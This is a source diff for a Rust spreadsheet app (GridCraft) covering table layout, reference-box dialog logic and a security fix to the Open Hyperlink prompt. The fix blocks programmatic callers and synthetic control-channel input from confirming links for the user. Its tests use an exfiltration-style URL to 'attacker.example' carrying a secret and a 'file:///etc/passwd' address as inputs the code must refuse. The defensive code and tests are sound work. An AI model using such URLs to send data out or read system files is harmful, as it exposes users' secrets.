let wider = table_frame(&ctx, WINDOW, &[120.0, 200.0, 80.0], Vec::new());
|
||||
let widths: Vec<f32> = wider.iter().map(|c| c.width().round()).collect();
|
||||
assert!(widths.ends_with(&[200.0, 80.0]), "a longer cell widens its column: {widths:?}");
|
||||
assert!(wider[2].right() < WINDOW, "the table still fits the window: {wider:?}");
|
||||
let narrower = table_frame(&ctx, 400.0, &NATURAL, Vec::new());
|
||||
assert!(narrower[2].right() < 400.0, "a narrower window refits the table: {narrower:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn scrolling_sideways_keeps_dragged_widths() {
|
||||
let (ctx, opened) = opened_table();
|
||||
drag_edge(&ctx, opened[0], 100.0);
|
||||
table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
|
||||
let dragged = table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
|
||||
assert!((dragged[0].width() - opened[0].width() - 100.0).abs() < 1.0, "the drag took: {dragged:?}");
|
||||
for offset in [13.3, 27.77, 41.1, 0.6] {
|
||||
scrolled_frame(&ctx, WINDOW, &NATURAL, offset, Vec::new());
|
||||
let scrolled = scrolled_frame(&ctx, WINDOW, &NATURAL, offset, Vec::new());
|
||||
assert!((scrolled[0].width() - dragged[0].width()).abs() < 1.0, "scrolled {offset}: {scrolled:?}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -74,6 +74,9 @@ pub struct Dialog {
|
||||
picture_target: Option<(u64, usize)>,
|
||||
/// The dialog this one was opened from (Name Manager › New…): it comes back when this closes.
|
||||
back: Option<Box<Dialog>>,
|
||||
/// Open Hyperlink: the address the prompt shows, which OK opens. Private, unlike `values`, so
|
||||
/// `ui.dialog.set` can't swap it behind the text the user reads (#2181).
|
||||
link: Option<String>,
|
||||
pub(crate) focus_initialized: bool,
|
||||
/// The formula box that takes references clicked or dragged on the grid (New Formatting Rule).
|
||||
pick: Option<RefPick>,
|
||||
@@ -154,19 +157,31 @@ impl Dialog {
|
||||
ref_edit::end_pick(app, self)
|
||||
}
|
||||
|
||||
/// Whether the dialog's own sheet is protected, once its reference boxes have picked and while
|
||||
/// Whether the dialog's own sheet is protected, for a dialog with reference boxes and while
|
||||
/// that sheet exists (the sheet [`Self::end_pick`] shows again); `None` otherwise.
|
||||
pub(crate) fn home_sheet_protected(&self, app: &SheetApp) -> Option<bool> {
|
||||
ref_edit::home_sheet_protected(app, self)
|
||||
}
|
||||
|
||||
/// Whether the sheet the dialog was opened on was deleted while its reference boxes picked:
|
||||
/// OK is then refused with [`SHEET_DELETED`], since references without a sheet name have
|
||||
/// nothing to refer to.
|
||||
/// Whether the sheet a dialog with reference boxes was opened on was deleted while it was
|
||||
/// open: OK is then refused with [`SHEET_DELETED`], since references without a sheet name
|
||||
/// have nothing to refer to.
|
||||
pub(crate) fn home_sheet_deleted(&mut self, app: &SheetApp) -> bool {
|
||||
ref_edit::home_sheet_deleted(app, self)
|
||||
}
|
||||
|
||||
/// A press on the grid that selects cells: the reference box being picked into takes the
|
||||
/// selection on this frame even when it is unchanged (a click on the cell already selected).
|
||||
pub(crate) fn note_selecting_press(&mut self) {
|
||||
ref_edit::note_selecting_press(self);
|
||||
}
|
||||
|
||||
/// Whether a reference box is the one grid selections fill: a click on the grid is then a
|
||||
/// pick, and a second click on the same cell does not edit the cell.
|
||||
pub(crate) fn ref_box_picks(&self) -> bool {
|
||||
ref_edit::picks(self)
|
||||
}
|
||||
|
||||
/// Whether a click on the grid goes to a formula box of this dialog rather than the selection.
|
||||
pub fn picks_references(&self) -> bool {
|
||||
self.pick.is_some()
|
||||
@@ -224,6 +239,7 @@ impl Dialog {
|
||||
picture_inbox: None,
|
||||
picture_target: None,
|
||||
back: None,
|
||||
link: None,
|
||||
focus_initialized: false,
|
||||
pick: None,
|
||||
original_link_text: None,
|
||||
@@ -248,6 +264,7 @@ impl Dialog {
|
||||
picture_inbox: None,
|
||||
picture_target: None,
|
||||
back: None,
|
||||
link: None,
|
||||
focus_initialized: false,
|
||||
pick: None,
|
||||
original_link_text: None,
|
||||
@@ -261,7 +278,7 @@ impl Dialog {
|
||||
let active = app.session.active().map(|d| d.selection.active.a1()).unwrap_or_default();
|
||||
let p = |k: &str| params.get(k).cloned().unwrap_or(Json::Null);
|
||||
use Field::*;
|
||||
let d = match name {
|
||||
let mut d = match name {
|
||||
"insertCells" => Dialog::form(
|
||||
"insertCells",
|
||||
"Insert",
|
||||
@@ -529,19 +546,18 @@ impl Dialog {
|
||||
json!({"text": existing}),
|
||||
)
|
||||
}
|
||||
// Asks before a web or e-mail link leaves the workbook; OK runs `link.open`, which
|
||||
// refuses anything but http, https and mailto.
|
||||
// Asks before a web or e-mail link leaves the workbook. OK opens it through
|
||||
// `Session::open_confirmed_link` (which refuses anything but http, https and mailto),
|
||||
// not a command: `link.open` refuses web addresses for programmatic callers, and a
|
||||
// dialog without a command can't be confirmed over the control channel (#2181).
|
||||
"openLink" => {
|
||||
let url = params.get("url").and_then(Json::as_str).unwrap_or_default().to_string();
|
||||
Dialog::form(
|
||||
"openLink",
|
||||
"Open Hyperlink",
|
||||
"link.open",
|
||||
vec![Note(format!(
|
||||
"This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}"
|
||||
))],
|
||||
json!({"url": url}),
|
||||
)
|
||||
let mut d = Dialog::custom("openLink", "Open Hyperlink", json!({"url": url}));
|
||||
d.fields = vec![Note(format!(
|
||||
"This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}"
|
||||
))];
|
||||
d.link = Some(url);
|
||||
d
|
||||
}
|
||||
"insertLink" => {
|
||||
let mut d = Dialog::form(
|
||||
@@ -1091,6 +1107,9 @@ impl Dialog {
|
||||
dialog
|
||||
}
|
||||
"pickList" => Dialog::custom("pickList", "Pick From List", json!({})),
|
||||
"assignAction" => return crate::control_ui::open_assign(app, ¶ms),
|
||||
"formatControl" => return crate::control_ui::open_format(app, ¶ms),
|
||||
"controlQuestion" => return crate::control_ui::open_question(¶ms),
|
||||
"saveCopy" => Dialog::custom("saveCopy", "Save a Copy", json!({"format": p("format")})),
|
||||
"saveChanges" => Dialog::custom("saveChanges", "Save Changes?", json!({"title": p("title"), "quit": p("quit")})),
|
||||
"start" => Dialog::custom("start", "GridCraft", json!({})),
|
||||
@@ -1112,6 +1131,7 @@ impl Dialog {
|
||||
}
|
||||
_ => return None,
|
||||
};
|
||||
ref_edit::record_home(app, &mut d);
|
||||
Some(d)
|
||||
}
|
||||
}
|
||||
@@ -1163,6 +1183,60 @@ mod tests {
|
||||
assert!(gridcraft_engine::cmd::data::check_validation(&doc.wb, 0, at, "4").is_some());
|
||||
}
|
||||
|
||||
/// #2181: a programmatic `link.open` opens nothing; the Open Hyperlink prompt has no command
|
||||
/// the control channel could confirm, and its OK opens exactly the address it showed.
|
||||
#[test]
|
||||
fn open_hyperlink_opens_only_the_address_the_user_confirmed() {
|
||||
use show::open_confirmed_link;
|
||||
use std::{cell::RefCell, rc::Rc};
|
||||
let opened = Rc::new(RefCell::new(Vec::<String>::new()));
|
||||
let sink = opened.clone();
|
||||
let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() };
|
||||
let mut session = gridcraft_engine::Session::default();
|
||||
session.new_workbook();
|
||||
let mut app = SheetApp::new(session, services);
|
||||
assert!(app.run("link.open", json!({"url": "https://attacker.example/?d=secret"})).is_err());
|
||||
app.after_engine();
|
||||
assert!(opened.borrow().is_empty(), "a programmatic link.open opens nothing");
|
||||
assert!(app.dialog.is_none(), "and opens no dialog");
|
||||
|
||||
let mut d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap();
|
||||
assert!(d.command.is_none(), "`ui.dialog.confirm` can't press OK for the user");
|
||||
// A value edited behind the prompt's text is ignored: OK opens what the user read.
|
||||
d.set_value("url", json!("https://attacker.example/?d=secret"));
|
||||
open_confirmed_link(&mut app, &d).unwrap();
|
||||
assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]);
|
||||
|
||||
let bad = Dialog::open(&mut app, "openLink", json!({"url": "file:///etc/passwd"})).unwrap();
|
||||
assert!(open_confirmed_link(&mut app, &bad).is_err());
|
||||
assert_eq!(opened.borrow().len(), 1);
|
||||
}
|
||||
|
||||
/// #2181: an OK that arrives with synthetic control-channel input (`ui.key` Enter, `ui.click`
|
||||
/// on OK) opens nothing and keeps the prompt open; the same OK from the user opens the link.
|
||||
#[test]
|
||||
fn synthetic_input_cannot_confirm_open_hyperlink() {
|
||||
use show::{SYNTHETIC_LINK_CONFIRM, confirm_open_link};
|
||||
use std::{cell::RefCell, rc::Rc};
|
||||
let opened = Rc::new(RefCell::new(Vec::<String>::new()));
|
||||
let sink = opened.clone();
|
||||
let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() };
|
||||
let mut session = gridcraft_engine::Session::default();
|
||||
session.new_workbook();
|
||||
let mut app = SheetApp::new(session, services);
|
||||
let d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap();
|
||||
|
||||
app.synthetic_pending = true;
|
||||
assert!(!confirm_open_link(&mut app, &d), "the prompt stays open");
|
||||
assert!(opened.borrow().is_empty(), "synthetic input opens nothing");
|
||||
assert_eq!(app.message.as_ref().map(|m| m.1.as_str()), Some(SYNTHETIC_LINK_CONFIRM));
|
||||
|
||||
app.synthetic_pending = false;
|
||||
app.message = None;
|
||||
assert!(confirm_open_link(&mut app, &d), "the user's OK closes the prompt");
|
||||
assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn data_validation_without_a_rule_opens_on_a_blank_list() {
|
||||
let mut session = gridcraft_engine::Session::default();
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use super::ref_edit::{RefLabel, SHEET_DELETED, end_pick, home_sheet_deleted, ref_edit};
|
||||
use super::ref_edit::{RefLabel, SHEET_DELETED, current_area_ref, end_pick, home_sheet_deleted, ref_edit};
|
||||
use super::show::{build_params, form_fields, ok_cancel};
|
||||
use super::{Dialog, Field, Json, Map, SheetApp, json, vec2};
|
||||
|
||||
@@ -261,7 +261,9 @@ pub(super) fn analysis_toolpak(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Di
|
||||
ok_cancel(ui, &mut ok, open);
|
||||
let pick = d.values.get("pick").and_then(Json::as_str).unwrap_or("").to_string();
|
||||
if (ok || chosen) && TOOLS.iter().any(|(id, _)| *id == pick) {
|
||||
let sel = app.session.active().map(|doc| doc.selection.current().a1()).unwrap_or_default();
|
||||
// The selection becomes the input range, with its sheet's name when another sheet
|
||||
// than the dialog's own is shown.
|
||||
let sel = current_area_ref(app, d);
|
||||
d.values = toolpak_defaults(&sel, &pick);
|
||||
}
|
||||
return;
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
//! Reference boxes (Excel's RefEdit): text fields that take a range by selection on the grid, with
|
||||
//! a button that collapses the dialog to the box while the person selects.
|
||||
|
||||
use gridcraft_engine::DocState;
|
||||
use gridcraft_engine::core::split_areas;
|
||||
use gridcraft_engine::model::{Sheet, SheetUid, Workbook};
|
||||
|
||||
use super::data::abs;
|
||||
use super::{Dialog, Icon, Json, SheetApp, json, theme, vec2};
|
||||
use super::{Dialog, Field, Icon, Json, SheetApp, json, theme, vec2};
|
||||
|
||||
/// What a dialog's reference boxes are doing: which one grid selections fill, and whether the
|
||||
/// dialog is collapsed to one of them.
|
||||
@@ -18,12 +20,17 @@ pub(super) struct RefBoxes {
|
||||
/// The sheet shown when `seen` was taken: changing sheets only refreshes `seen`, since the
|
||||
/// other sheet's own selection is not a pick.
|
||||
seen_sheet: String,
|
||||
/// The dialog's own sheet, from the first pick until the dialog closes, and the selection to
|
||||
/// put back when it runs its command or closes.
|
||||
/// The dialog's own sheet, from the moment the dialog opens until it closes, and the
|
||||
/// selection to put back when it runs its command or closes.
|
||||
home: Option<Home>,
|
||||
/// The target took a selection from the grid and takes the keyboard back once the pointer
|
||||
/// is released, so typing still edits the box.
|
||||
refocus: bool,
|
||||
/// A press on the grid selected this frame ([`note_selecting_press`]): the target takes the
|
||||
/// selection even when it is the one it last saw, since clicking the cell already selected
|
||||
/// is a pick too. Cleared when a box starts picking and once the frame's boxes are drawn, so
|
||||
/// only a press made while the box picks counts.
|
||||
pressed: bool,
|
||||
/// The target box was drawn this frame. A box the dialog stops showing (another view of the
|
||||
/// dialog, a hidden area, a constraint operator that takes no value) is no longer picked
|
||||
/// into, so a selection made meanwhile does not land in it once it is shown again (see
|
||||
@@ -43,9 +50,9 @@ pub(super) struct RefBoxes {
|
||||
other_field: bool,
|
||||
}
|
||||
|
||||
/// Where picking began: the dialog's own sheet, kept for as long as the dialog is open (a failed
|
||||
/// OK leaves it open, and a later OK still needs to know whether that sheet is there), and the
|
||||
/// selection to put back once.
|
||||
/// The dialog's own sheet: the sheet shown when the dialog opened ([`record_home`]), kept for as
|
||||
/// long as the dialog is open (a failed OK leaves it open, and a later OK still needs to know
|
||||
/// whether that sheet is there), and the selection on it to put back once picking ends.
|
||||
#[derive(Clone, Debug)]
|
||||
struct Home {
|
||||
/// The sheet's identity while the app runs ([`SheetUid`]): fresh for every sheet added,
|
||||
@@ -54,18 +61,59 @@ struct Home {
|
||||
/// copy of it is never taken for it, and an undo that brings it back makes it the dialog's
|
||||
/// again.
|
||||
uid: SheetUid,
|
||||
/// The ranges and active cell from before picking began on the dialog's sheet, put back once
|
||||
/// when the dialog runs its command or closes.
|
||||
/// The ranges and active cell on the dialog's sheet from before picking began, taken when a
|
||||
/// box starts picking (from the sheet's kept selection when another sheet is shown then), and
|
||||
/// put back once when the dialog runs its command or closes.
|
||||
selection: Option<(String, String)>,
|
||||
}
|
||||
|
||||
/// Whether the dialog has reference boxes: Goal Seek, Solver, Data Analysis, and any form with a
|
||||
/// [`Field::Ref`].
|
||||
fn has_reference_boxes(d: &Dialog) -> bool {
|
||||
matches!(d.name.as_str(), "goalSeek" | "solver" | "analysisToolPak") || d.fields.iter().any(|f| matches!(f, Field::Ref { .. }))
|
||||
}
|
||||
|
||||
/// Records the sheet shown as the dialog's own when a dialog with reference boxes opens, from the
|
||||
/// ribbon or the control channel alike. A sheet shown later, before any box picks, is not the
|
||||
/// dialog's: references without a sheet name still mean the sheet the dialog was opened on,
|
||||
/// whose defaults (the active cell, the selection) the boxes start with.
|
||||
pub(super) fn record_home(app: &SheetApp, d: &mut Dialog) {
|
||||
if !has_reference_boxes(d) {
|
||||
return;
|
||||
}
|
||||
if let Some(sheet) = app.session.active().and_then(|doc| doc.wb.active()) {
|
||||
d.refs.home = Some(Home { uid: sheet.uid, selection: None });
|
||||
}
|
||||
}
|
||||
|
||||
/// The selection on the dialog's own sheet as (ranges, active cell): the one shown while that
|
||||
/// sheet is active, else the one the sheet keeps for when it is shown again. `None` once the
|
||||
/// sheet is deleted.
|
||||
fn home_selection(doc: &DocState, home: &Home) -> Option<(String, String)> {
|
||||
let i = doc.wb.sheets.iter().position(|s| s.uid.get() == home.uid.get())?;
|
||||
let sel = if i == doc.wb.active_sheet() { &doc.selection } else { doc.sheet_selections.get(i)? };
|
||||
let ranges: Vec<String> = sel.ranges.iter().map(|r| r.a1()).collect();
|
||||
Some((ranges.join(","), sel.active.a1()))
|
||||
}
|
||||
|
||||
/// The grid's current area (the one being selected) as a reference for a dialog of `d`'s: with
|
||||
/// the sheet name when it is on another sheet than the dialog's own, as a reference box writes it.
|
||||
pub(super) fn current_area_ref(app: &SheetApp, d: &Dialog) -> String {
|
||||
let Some(doc) = app.session.active() else { return String::new() };
|
||||
let area = doc.selection.current().a1();
|
||||
match (doc.wb.active(), d.refs.home.as_ref()) {
|
||||
(Some(sh), Some(home)) if home.uid.get() != sh.uid.get() => format!("{}!{area}", gridcraft_engine::formula::quote_sheet(&sh.name)),
|
||||
_ => area,
|
||||
}
|
||||
}
|
||||
|
||||
/// The dialog's own sheet in `wb`, or `None` once it was deleted.
|
||||
fn home_sheet<'a>(wb: &'a Workbook, home: &Home) -> Option<&'a Sheet> {
|
||||
wb.sheets.iter().map(|s| &**s).find(|s| s.uid.get() == home.uid.get())
|
||||
}
|
||||
|
||||
/// Whether the dialog's own sheet is protected, once its reference boxes have picked and while
|
||||
/// that sheet exists: the sheet [`end_pick`] shows again. `None` otherwise.
|
||||
/// Whether the dialog's own sheet is protected, for a dialog with reference boxes and while that
|
||||
/// sheet exists: the sheet [`end_pick`] shows again. `None` otherwise.
|
||||
pub(super) fn home_sheet_protected(app: &SheetApp, d: &Dialog) -> Option<bool> {
|
||||
let home = d.refs.home.as_ref()?;
|
||||
app.session.active().and_then(|doc| home_sheet(&doc.wb, home)).map(Sheet::is_protected)
|
||||
@@ -75,8 +123,9 @@ pub(super) fn home_sheet_protected(app: &SheetApp, d: &Dialog) -> Option<bool> {
|
||||
pub(crate) const SHEET_DELETED: &str =
|
||||
"The sheet this dialog was opened on was deleted. Cancel, then open the dialog again on the sheet it should use.";
|
||||
|
||||
/// Whether the sheet the dialog was opened on has been deleted while it picked: its references
|
||||
/// without a sheet name have nothing to refer to, so OK is refused with [`SHEET_DELETED`].
|
||||
/// Whether the sheet a dialog with reference boxes was opened on has been deleted while it was
|
||||
/// open: its references without a sheet name have nothing to refer to, so OK is refused with
|
||||
/// [`SHEET_DELETED`].
|
||||
pub(super) fn home_sheet_deleted(app: &SheetApp, d: &mut Dialog) -> bool {
|
||||
d.refs.home.as_ref().is_some_and(|h| app.session.active().is_none_or(|doc| home_sheet(&doc.wb, h).is_none()))
|
||||
}
|
||||
@@ -216,6 +265,8 @@ pub(super) fn window_shown(ctx: &egui::Context, d: &mut Dialog, collapsed: bool,
|
||||
d.refs.rect = rect;
|
||||
}
|
||||
d.refs.was_collapsed = collapsed;
|
||||
// A press the boxes did not take this frame (none was picking) is not kept for a later one.
|
||||
d.refs.pressed = false;
|
||||
d.refs.other_field = d.refs.collapsed.as_deref().is_some_and(|key| other_field_focused(ctx, key));
|
||||
// The box compares the grid selection with the one it last saw only while it is drawn: a
|
||||
// hidden box would take a selection made meanwhile when it comes back.
|
||||
@@ -227,26 +278,33 @@ pub(super) fn window_shown(ctx: &egui::Context, d: &mut Dialog, collapsed: bool,
|
||||
}
|
||||
}
|
||||
|
||||
/// Makes the reference box `key` the one grid selections fill. The first pick remembers the
|
||||
/// sheet and selection, which are put back when the dialog runs its command or closes.
|
||||
/// Records a press on the grid that selects (see [`RefBoxes::pressed`]).
|
||||
pub(super) fn note_selecting_press(d: &mut Dialog) {
|
||||
d.refs.pressed = true;
|
||||
}
|
||||
|
||||
/// Whether a reference box is being picked into (see [`Dialog::ref_box_picks`]).
|
||||
pub(super) fn picks(d: &Dialog) -> bool {
|
||||
d.refs.target.is_some()
|
||||
}
|
||||
|
||||
/// Makes the reference box `key` the one grid selections fill. The first pick (and the first
|
||||
/// after an OK that failed) remembers the selection on the dialog's own sheet, which is put back
|
||||
/// when the dialog runs its command or closes. A dialog opened without [`record_home`] takes the
|
||||
/// sheet shown at its first pick as its own.
|
||||
pub(super) fn begin_pick(app: &SheetApp, d: &mut Dialog, key: &str) {
|
||||
if let Some(doc) = app.session.active()
|
||||
&& let Some(sheet) = doc.wb.active()
|
||||
{
|
||||
let ranges: Vec<String> = doc.selection.ranges.iter().map(|r| r.a1()).collect();
|
||||
let selection = Some((ranges.join(","), doc.selection.active.a1()));
|
||||
match d.refs.home.as_mut() {
|
||||
None => d.refs.home = Some(Home { uid: sheet.uid, selection }),
|
||||
// Picking again after a failed OK: the selection to put back is the one now on the
|
||||
// dialog's sheet.
|
||||
Some(home) if home.selection.is_none() && home.uid.get() == sheet.uid.get() => {
|
||||
home.selection = selection;
|
||||
}
|
||||
Some(_) => {}
|
||||
let home = d.refs.home.get_or_insert(Home { uid: sheet.uid, selection: None });
|
||||
if home.selection.is_none() {
|
||||
home.selection = home_selection(doc, home);
|
||||
}
|
||||
}
|
||||
d.refs.target = Some(key.to_string());
|
||||
d.refs.refocus = false;
|
||||
// Focusing the box keeps its text: only a press after this one picks.
|
||||
d.refs.pressed = false;
|
||||
d.refs.seen = selection_ref(app, d.refs.home.as_ref(), takes_several_areas(&d.name, key));
|
||||
d.refs.seen_sheet = active_sheet_name(app);
|
||||
}
|
||||
@@ -305,14 +363,17 @@ pub(super) fn ref_edit(app: &SheetApp, ui: &mut egui::Ui, d: &mut Dialog, key: &
|
||||
} else if d.refs.target.as_deref() == Some(key) {
|
||||
let sel = selection_ref(app, d.refs.home.as_ref(), takes_several_areas(&d.name, key));
|
||||
let sheet = active_sheet_name(app);
|
||||
if sheet != d.refs.seen_sheet {
|
||||
let pressed = std::mem::take(&mut d.refs.pressed);
|
||||
if sheet != d.refs.seen_sheet && !pressed {
|
||||
// Another sheet was shown: its selection is where that sheet was left, not a pick.
|
||||
d.refs.seen = sel;
|
||||
d.refs.seen_sheet = sheet;
|
||||
} else if sel != d.refs.seen {
|
||||
// The person selected on the grid: the selection becomes the reference.
|
||||
} else if pressed || sel != d.refs.seen {
|
||||
// The person selected on the grid, even the cell already selected: the selection
|
||||
// becomes the reference.
|
||||
s = sel.clone();
|
||||
d.refs.seen = sel;
|
||||
d.refs.seen_sheet = sheet;
|
||||
d.refs.refocus = true;
|
||||
}
|
||||
if d.refs.refocus && !ui.input(|i| i.pointer.any_down()) {
|
||||
@@ -376,27 +437,6 @@ fn anchors(part: &str) -> Option<Anchors> {
|
||||
Some(Anchors { letters, digits, col_abs, row_abs })
|
||||
}
|
||||
|
||||
/// The areas of a reference list, split at the commas between them. A comma inside a quoted
|
||||
/// sheet name (`'Sales, West'!A1`) is part of the name, and a doubled quote inside the quotes
|
||||
/// (`'O''Brien, Jr'!A1`) is an escaped quote, not the end of the name: a quote toggles the
|
||||
/// quoted state, so a doubled one toggles it twice.
|
||||
fn split_areas(reference: &str) -> Vec<&str> {
|
||||
let mut areas = Vec::new();
|
||||
let (mut start, mut quoted) = (0, false);
|
||||
for (i, c) in reference.char_indices() {
|
||||
match c {
|
||||
'\'' => quoted = !quoted,
|
||||
',' if !quoted => {
|
||||
areas.push(reference.get(start..i).unwrap_or_default());
|
||||
start = i.saturating_add(1);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
areas.push(reference.get(start..).unwrap_or_default());
|
||||
areas
|
||||
}
|
||||
|
||||
/// Excel's F4 in a reference box: `A1` → `$A$1` → `A$1` → `$A1` → `A1`, every part of every
|
||||
/// area moving together from the first part's anchors (`A1:B2,D4` → `$A$1:$B$2,$D$4`), sheet
|
||||
/// names kept; whole columns and rows have one anchor each (`A:A` → `$A:$A` → `A:A`). Text that
|
||||
@@ -442,16 +482,7 @@ pub(crate) fn cycle_anchors(reference: &str) -> String {
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::{cycle_anchors, split_areas};
|
||||
|
||||
#[test]
|
||||
fn areas_split_only_at_commas_outside_quoted_sheet_names() {
|
||||
assert_eq!(split_areas("B2:B4,D1"), ["B2:B4", "D1"]);
|
||||
assert_eq!(split_areas("'Sales, West'!$A$1"), ["'Sales, West'!$A$1"]);
|
||||
assert_eq!(split_areas("'O''Brien, Jr'!A1:B2,D4"), ["'O''Brien, Jr'!A1:B2", "D4"]);
|
||||
assert_eq!(split_areas("'Q1, Q2'!A1,'Q3, Q4'!B2"), ["'Q1, Q2'!A1", "'Q3, Q4'!B2"]);
|
||||
assert_eq!(split_areas(""), [""]);
|
||||
}
|
||||
use super::cycle_anchors;
|
||||
|
||||
#[test]
|
||||
fn f4_keeps_a_comma_inside_a_quoted_sheet_name() {
|
||||
|
||||
@@ -148,12 +148,13 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
|
||||
let mut confirm = false;
|
||||
let width = match d.name.as_str() {
|
||||
"formatCells" => 560.0,
|
||||
"about" => 660.0,
|
||||
"about" => 820.0,
|
||||
"insertFunction" | "commandSearch" | "nameManager" | "manageRules" | "journal" | "agents" | "equation" => 520.0,
|
||||
"macros" => 480.0,
|
||||
"recommendedCharts" => 600.0,
|
||||
"analysisToolPak" => 420.0,
|
||||
"solver" => 460.0,
|
||||
"assignAction" => 440.0,
|
||||
"zoom" => 220.0,
|
||||
"pasteSpecial" => 480.0,
|
||||
_ => 380.0,
|
||||
@@ -203,6 +204,9 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
|
||||
"solver" => solver(app, ui, &mut d, &mut confirm, &mut open),
|
||||
"solverResults" => solver_results(app, ui, &mut d, &mut open),
|
||||
"spelling" => spelling(app, ui, &mut d, &mut open),
|
||||
"assignAction" => crate::control_ui::assign_dialog(app, ui, &mut d, &mut open),
|
||||
"formatControl" => crate::control_ui::format_dialog(app, ui, &mut d, &mut open),
|
||||
"controlQuestion" => crate::control_ui::question_dialog(app, ui, &mut d, &mut open),
|
||||
"agents" => {
|
||||
ui.label("GridCraft is fully drivable by agents. Every menu item, button and gesture is a command:");
|
||||
ui.add_space(4.0);
|
||||
@@ -407,6 +411,12 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
|
||||
app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into()));
|
||||
confirm = false;
|
||||
}
|
||||
if confirm && d.name == "openLink" {
|
||||
confirm = false;
|
||||
if confirm_open_link(app, &d) {
|
||||
open = false;
|
||||
}
|
||||
}
|
||||
if confirm && d.command.is_some() && home_sheet_deleted(app, &mut d) {
|
||||
// References without a sheet name would land on whichever sheet is shown now.
|
||||
app.message = Some((d.title.clone(), SHEET_DELETED.into()));
|
||||
@@ -485,6 +495,33 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
|
||||
}
|
||||
}
|
||||
|
||||
/// OK in Open Hyperlink; returns whether the prompt closes. A pass that carries control-channel
|
||||
/// input (`ui.key`, `ui.click`, `ui.drag`) can't say yes for the user (#2181): the link stays
|
||||
/// unopened and the prompt open, with a message. Real input in that same pass is refused too, so
|
||||
/// the user just presses OK again.
|
||||
pub(super) fn confirm_open_link(app: &mut SheetApp, d: &Dialog) -> bool {
|
||||
if app.synthetic_pending {
|
||||
app.message = Some((d.title.clone(), SYNTHETIC_LINK_CONFIRM.into()));
|
||||
return false;
|
||||
}
|
||||
if let Err(e) = open_confirmed_link(app, d) {
|
||||
app.message = Some((d.title.clone(), crate::clean_error(&e)));
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// Why Open Hyperlink ignored an OK that arrived with synthetic control-channel input.
|
||||
pub(super) const SYNTHETIC_LINK_CONFIRM: &str = "Synthetic input from the control channel can't open a link: press OK yourself to open it.";
|
||||
|
||||
/// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never
|
||||
/// one a caller edited into its values afterwards.
|
||||
pub(super) fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> {
|
||||
let url = d.link.as_deref().unwrap_or_default();
|
||||
let r = app.session.open_confirmed_link(url).map(|_| ()).map_err(|e| e.to_string());
|
||||
app.after_engine();
|
||||
r
|
||||
}
|
||||
|
||||
pub(super) fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) {
|
||||
ui.add_space(8.0);
|
||||
// A row as tall as the buttons: a right-to-left layout straight in the window takes all the
|
||||
|
||||
@@ -375,7 +375,7 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option<String>,
|
||||
let offset = text.len() - body.len();
|
||||
let Ok(toks) = gridcraft_engine::formula::lexer::tokenize(body) else { return vec![] };
|
||||
let mut out: Vec<(usize, usize, RangeRef, Option<String>, usize)> = Vec::new();
|
||||
let mut seen: Vec<String> = Vec::new();
|
||||
let mut seen: std::collections::HashMap<String, usize> = std::collections::HashMap::new();
|
||||
let mut i = 0;
|
||||
while i < toks.len() {
|
||||
use gridcraft_engine::formula::lexer::Tok;
|
||||
@@ -407,13 +407,8 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option<String>,
|
||||
continue;
|
||||
};
|
||||
let key = body.get(start..end).unwrap_or("").replace('$', "").to_ascii_uppercase();
|
||||
let idx = match seen.iter().position(|k| *k == key) {
|
||||
Some(k) => k,
|
||||
None => {
|
||||
seen.push(key);
|
||||
seen.len() - 1
|
||||
}
|
||||
};
|
||||
let next = seen.len();
|
||||
let idx = *seen.entry(key).or_insert(next);
|
||||
out.push((start + offset, end + offset, range, sheet, idx % REF_COLOR_COUNT));
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,463 @@
|
||||
//! Form controls on the sheet: drawing buttons, sliders and spin buttons, and working them with
|
||||
//! the pointer and the keyboard. A click operates a control; Ctrl or Cmd+click, or a right-click,
|
||||
//! selects it instead (to move, resize or format it). Values change through `control.setValue`,
|
||||
//! and a whole drag or a held arrow is one undo step.
|
||||
//!
|
||||
//! Positions are logical (see `Geo::rtl`): on a right-to-left sheet a control moves as a whole
|
||||
//! but is not mirrored, so a point inside it is reflected back with [`inner`] first.
|
||||
|
||||
use egui::epaint::PathShape;
|
||||
use egui::{Painter, Pos2, Rect, Stroke, StrokeKind, pos2, vec2};
|
||||
use gridcraft_engine::model::{ControlKind, FormControl, ObjKind, ObjRef, Sheet};
|
||||
use serde_json::json;
|
||||
|
||||
use crate::SheetApp;
|
||||
use crate::grid::Geo;
|
||||
use crate::theme::{self, Tokens};
|
||||
|
||||
/// How long an arrow or the track waits before it repeats, and then between repeats (seconds).
|
||||
const REPEAT_DELAY: f64 = 0.4;
|
||||
const REPEAT_EVERY: f64 = 0.06;
|
||||
|
||||
/// The part of a control under the pointer.
|
||||
